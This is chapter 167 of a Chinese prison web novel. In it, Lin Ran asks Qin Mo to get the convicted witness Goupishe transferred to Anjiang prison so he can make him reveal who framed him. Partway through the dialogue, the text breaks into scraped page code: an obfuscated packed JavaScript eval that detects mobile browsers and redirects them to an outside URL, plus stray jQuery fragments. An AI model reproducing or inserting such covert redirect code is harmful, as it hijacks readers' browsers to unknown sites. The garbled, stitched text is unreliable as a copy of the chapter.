第一百六十七章 更狠

作品:《卧底入狱?我直接整顿监狱法则

    十五年。


    狗皮蛇判了十五年。


    可真正该死的人,还在外面逍遥。


    “林燃?”秦墨叫他。


    林燃抬起头。


    “你没事吧?”


    “没事。”他说。


    秦墨盯着他看了几秒,那眼神里有点担忧,也有点别的什么。


    “我知道你想说什么,”她压低声音,“你想让我继续查,查姚永军,查昌荣国际,查那些背后的人。可林燃,我告诉你实话——我查不动了。”


    林燃看着她。


    “我爸跟我说,有些事情,不是我不想查,是不能查。”


    秦墨的声音有点紧,“昌荣国际那家公司,表面看着就是个进出口贸易,可股东背景太复杂。有外资,有省里的关系,还有……”


    她顿了顿,声音压得更低,“还有上面的人。”


    林燃点点头。


    他猜到了。


    从白癜风说出“昌哥”那个名字开始,他就猜到了。


    能让笑面佛在监狱里过得那么滋润,能让鳄老大那种人替他们卖命,能让一个案子从省里打到招呼就结了——这背后的人,能量小不了。


    可那又怎样?


    他林燃这辈子,就是冲着这些人来的。


    对,他强行打起精神。


    脑子里那些碎片又开始转。


    狗皮蛇的案子结了。


    狗皮蛇本人很快就会判,然后被送到某个监狱服刑。


    到时候,这条线就彻底断了。


    除非——


    他忽然直起身。


    秦墨被他这个动作吓了一跳:“怎么了?”


    林燃盯着她,眼神亮得瘆人:“狗皮蛇判了之后,会去哪儿服刑?”


    秦墨愣了愣:“还没定。”


    “狗皮蛇的服刑地,谁定?”


    秦墨愣了愣:“**啊。判决生效后,**会指定服刑监狱。一般是就近原则,但也可以根据情况调整,但这种跨省**的案子,一般会送到外省,避免本地关系网干扰。可能海东,也可能海西……”


    “如果要调整服刑地,怎么调整?”


    “得有人申请。”秦墨说,“要么是**觉得那边不合适,要么是**觉得有必要换地方,要么……”她顿了顿,“要么是犯人自己申请。”


    林燃点点头。


    “能不能让他来安江?”


    秦墨以为自己听错了:“什么?”


    “安江监狱。”林燃说,“想办法,把他弄到安江来。”


    秦墨盯着他看了几秒,像看一个疯子。


    “林燃,你知道你在说什么吗?”她把声音压得极低,“狗皮蛇是把你送进来的关键证人。你俩要是关在一个监狱里,还是安江这种地方——”


    “我知道。”林燃打断她,“我就是要跟他关在一起。”


    秦墨张了张嘴,不知道该说什么。


    林燃看着她,语气很平,但每个字都像钉子:


    “狗皮蛇的案子结了,但结的是警方的案子。我要查的,不是他那点破事。我要查的,是谁把他推出来当枪使,是谁在我背后递的刀,是谁——”


    他顿了顿。


    “是谁能让一个副局长凭空消失,能让一个警校生的档案干干净净地变成‘未报到’。”


    秦墨沉默了。


    她知道林燃说的是谁。


    姚永军。


    那个只在档案里存在过几个月,然后像鬼一样消失的人。


    “你在这儿,他在外面。”秦墨说,“就算狗皮蛇来了安江,你能问出什么?他那种人,咬**不说,你拿他没办法。再说,你现在……”


    她没说下去。


    但意思到了。


    林燃现在是犯人,不是警察。他没有审讯权,没有调查权,什么都没有。


    “我有别的办法。”


    林燃说,声音不高,但每个字都砸得很实,“他背后的人,我挖不出来。但在这儿,在我的地盘上,我能让他开口。”


    秦墨盯着他看了几秒。


    那眼神很复杂,有担忧,有犹豫,还有一丝藏得很深的——兴奋?


    “林燃,”她压低声音,“你知道你在说什么吗?”


    “知道。”


    “先不说你怎么让狗皮蛇来安江服刑,就算你千方百计成功了,这狗皮蛇是重刑犯,判了十五年。他来安江,肯定会被扔进重刑犯监区。


    那边什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227597|197428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情况你知道吗?比你这三监区狠多了。你想从他嘴里挖东西,得先保证自己能活着跟他打交道。”


    林燃点点头。


    “我知道。”林燃说,安江监狱分四个监区。他待的三监区算是中不溜,上面还有二监区、一监区,关的都是重刑犯、死缓、无期。狗皮蛇那种人,进来肯定往那边扔。


    但那又怎样?


    “但这是他唯一的机会,也是我唯一的机会。”


    他看着秦墨的眼睛。


    “狗皮蛇不开口,姚永军就永远是个‘不存在的人’。刘昌荣就永远是个‘正经商人’。我那十年的刑,就永远是我‘咎由自取’。”


    而且他现在在三监区站稳了,可要真正翻案,光站稳不够。


    得把手伸出去。


    伸到那些他够不着的地方。


    血牙盟不是说说而已。


    以血还血,以牙还牙!


    “我有办法。”他说。


    只要狗皮蛇到了安江,到了他面前——


    林燃有办法让他说。


    “我要让他来安江。”他说,“来了之后,我自己挖。”


    秦墨沉默了。


    她盯着林燃看了很久。


    那眼神里有担忧,有不解,还有一点——说不清道不明的东西。


    “你知不知道这有多危险?”她终于说,“就算你成功了,来安江了,甚至到三监区了……但狗皮蛇那种人,**十几年,手上不知道沾过多少血。他要是真来了安江,你以为他会老老实实配合你?”


    “我知道。”


    “那你——”


    “秦墨。”林燃打断她,声音不高,但很稳,“我在这里面待了一年多。这一年多,我学会了一件事。”


    “什么?”


    “有些人,你不让他服,他永远不会开口。有些人,你不让他怕,他永远不会说实话。”


    他顿了顿。


    “狗皮蛇那种人,在外面有靠山,在看守所里有人递话,他觉得只要咬**不说,就没事。但如果他进了安江,如果他知道自己的靠山够不着了,如果他知道有人比他更狠——”


    林燃没说完。


    但秦墨听懂了。